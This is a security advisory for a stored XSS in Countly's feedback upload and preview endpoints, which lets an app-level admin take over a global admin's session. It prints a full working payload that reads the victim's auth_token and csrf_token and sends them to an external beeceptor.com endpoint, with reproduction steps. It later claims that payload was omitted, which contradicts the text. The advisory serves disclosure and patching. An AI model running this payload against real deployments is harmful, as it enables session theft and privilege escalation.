Skip to content

Stored XSS in feedback upload enables app-admin to compromise global admin session context

High
ar2rsawseen published GHSA-jqp4-p86c-phxc Jul 15, 2026

Package

No package listed

Affected versions

25.03
24.05

Patched versions

25.03.44
24.05.50

Description

Title: Stored XSS in feedback upload enables app-admin to compromise global admin session context

Summary:

A stored cross-site scripting vulnerability exists in the star-rating feedback upload and preview workflow. A user with lower privileges, specifically a non-global user who has write/admin access over a single application, can upload attacker-controlled HTML/JavaScript and have it served from a Countly-controlled origin through a public preview endpoint. If a higher-privileged user such as a global administrator opens the malicious preview URL, the payload executes in that administrator’s browser context and can perform authenticated actions as the victim. In practical terms, this creates a privilege-escalation path from app-level write access to effective global-admin compromise.

Vulnerability Details:

  • Vulnerability Type: Stored Cross-Site Scripting leading to privilege escalation
  • CVSS Base Score: 9.1 Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
  • Impact: A lower-privileged application administrator can plant a malicious payload that executes in Countly origin when viewed. If a global administrator opens the preview URL, the attacker can act with the global administrator’s browser privileges, including authenticated requests and access to exposed client-side authentication material such as auth_token and csrf_token.

Affected Endpoints:

# Endpoint Method Impact
1 /i/feedback/upload POST Permits lower-privileged app admin to store attacker-controlled HTML/JS
2 /feedback/preview/ GET Publicly serves stored attacker content with attacker-influenced Content-Type
3 / or /dashboard GET Used by executed payload to access victim session context and client-side tokens

Payload used:

const htmlPayload = `<!DOCTYPE html>
<html>
<head><title>Exfil Debug</title></head>
<body>
<script>
  (function() {
    var BEE = "<https://test-xss.free.beeceptor.com>";
    var TARGET = "<http://127.0.0.1:6001/>";
function sendDebug(status, len, middle, auth, csrf) {
  var data = &quot;status=&quot; + encodeURIComponent(status) +
             &quot;&amp;len=&quot; + encodeURIComponent(len) +
             &quot;&amp;middle=&quot; + encodeURIComponent(middle) +
             &quot;&amp;auth=&quot; + encodeURIComponent(auth) +
             &quot;&amp;csrf=&quot; + encodeURIComponent(csrf);
  if (navigator.sendBeacon) {
    navigator.sendBeacon(BEE, data);
  } else {
    fetch(BEE, { method: &quot;POST&quot;, body: data, keepalive: true, mode: &quot;no-cors&quot; });
  }
}

var xhr = new XMLHttpRequest();
xhr.open(&quot;GET&quot;, TARGET, false);
try {
  xhr.send();
  var html = xhr.responseText;
  var len = html.length;
  // Get a slice around where tokens should be (adjust if needed)
  var startPos = 10000;
  var endPos = Math.min(12000, len);
  var middle = (len &gt; startPos) ? html.substring(startPos, endPos) : &quot;too short&quot;;

  // Extract tokens
  var auth = &quot;&quot;, csrf = &quot;&quot;;
  var authIdx = html.indexOf('countlyGlobal[&quot;auth_token&quot;]');
  if (authIdx !== -1) {
    var start = html.indexOf('&quot;', authIdx + 26);
    var end = html.indexOf('&quot;', start + 1);
    if (start !== -1 &amp;&amp; end !== -1) auth = html.substring(start + 1, end);
  }
  var csrfIdx = html.indexOf('countlyGlobal[&quot;csrf_token&quot;]');
  if (csrfIdx !== -1) {
    var start = html.indexOf('&quot;', csrfIdx + 26);
    var end = html.indexOf('&quot;', start + 1);
    if (start !== -1 &amp;&amp; end !== -1) csrf = html.substring(start + 1, end);
  }

  sendDebug(xhr.status, len, middle, auth, csrf);
} catch(e) {
  sendDebug(&quot;error&quot;, &quot;0&quot;, e.message, &quot;&quot;, &quot;&quot;);
}

})();
<\/script>
</body>
</html>`;

const fd = new FormData();
fd.append("file", new File([htmlPayload], "ui-alert-2.html", { type: "text/html" }));

fetch("<http://127.0.0.1:3001/i/feedback/upload?api_key=0895a67db557dfedaa194cf5d2e8c554&amp;app_id=69e54a4f1c0567c474324a8e&amp;name=ui-alert-2.html>", {
method: "POST",
body: fd
})
.then(r => r.text())
.then(console.log)
.catch(console.error);

please make sure you run this payload from your console as lower privilage.

Steps to reproduce:

  1. Log in with a user that is not a global administrator but has administrative/write access to a target application.

  2. run the payload in your console.

  3. Confirm the upload succeeds.

  4. Send this link to victim to open /feedback/preview/<uploaded filename> in a browser.

  5. Observe that the uploaded HTML is rendered as active HTML rather than inert file content.

  6. Send the preview URL to a higher-privileged user, such as a global administrator.

  7. When the global administrator opens the preview URL, the payload executes in the Countly origin and can access the victim’s authenticated browser context.

  8. During validation, the executed payload was able to read exposed auth_token and csrf_token values from the application context, demonstrating that a malicious app admin can pivot into actions as the viewing global administrator.

Technical details

File: plugins/star-rating/api/api.js

function uploadFeedbackFile(myname, myfile) {
    return new Promise(function(resolve, reject) {
        var tmp_path = myfile.path;
        var type = myfile.type;
        ...
        fs.readFile(tmp_path, (err, data) => {
            ...
            var data_uri_prefix = "data:" + type + ";base64,";
            var buf = Buffer.from(data);
            var image = buf.toString('base64');
            image = data_uri_prefix + image;
            countlyFs.gridfs.saveData("feedback", myname, image, {id: myname, writeMode: "overwrite"}, function(err2) {
plugins.register("/i/feedback/upload", function(ob) {
    ...
    validateUpdate(params, "global_plugins", function() {
        ...
        uploadFeedbackFile(params.qstring.name, params.files.file).then(function() {
            common.returnOutput(params, {"result": "Success"});

File: plugins/star-rating/frontend/app.js

app.get(countlyConfig.path + '/feedback/preview/*', function(req, res/*, next*/) {
    ...
    countlyFs.gridfs.getDataById("feedback", req.params[0], function(err, data) {
        ...
        var dd = data.split(',');
        var img = Buffer.from(dd[1], 'base64');
        res.writeHead(200, {
            'Content-Type': dd = dd[0].substr(5, dd[0].length - 12),
            'Content-Length': img.length
        });

File: api/utils/rights.js

var hasAdminAccess = (typeof member.permission === "object" && typeof member.permission._ === "object" && typeof member.permission._.a === "object") && member.permission._.a.indexOf(params.qstring.app_id) > -1;
if (!(isFeatureAllowedInRelatedPermissionObject) && !(hasAdminAccess)) {
    common.returnMessage(params, 401, 'User does not have right');

Payload used during validation

A proof-of-concept HTML payload was used during validation. For safety, the exact exfiltration payload is omitted from this report, but its logic was:

  1. Execute JavaScript inside the Countly origin from the preview page.
  2. Request a Countly page in the victim’s authenticated browser context.
  3. Parse the returned HTML/JS for client-side exposed authentication values, specifically countlyGlobal["auth_token"] and countlyGlobal["csrf_token"].
  4. Send the extracted values to an external collection endpoint for verification.

Root cause analysis

The vulnerability is caused by the combination of the following design and implementation flaws:

  1. The upload handler accepts arbitrary file content and trusts the client-supplied MIME type (myfile.type) without validating the file as a safe media type.
  2. The uploaded content is stored as a data: URI that preserves the attacker-controlled MIME type.
  3. The preview route extracts the stored MIME type and reflects it directly into the HTTP Content-Type response header.
  4. The preview route is publicly reachable and does not require authentication.
  5. Authorization on the upload route is broader than expected. The route is accessible not only to global administrators but also to any user with administrative/write access to the supplied app_id.

This means the attacker role required to plant the payload is comparatively low. A non-global app administrator can store active HTML/JavaScript, and the application itself later serves that attacker content from a trusted Countly origin.

Recommendation

  1. Reject all active content types for feedback uploads, including text/html, application/xhtml+xml, image/svg+xml, XML-based types, and any content not validated as a safe image format.
  2. Do not trust the client-supplied MIME type. Detect and enforce file type server-side using file signature/content validation.

Severity

High

CVE ID

CVE-2026-44977

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits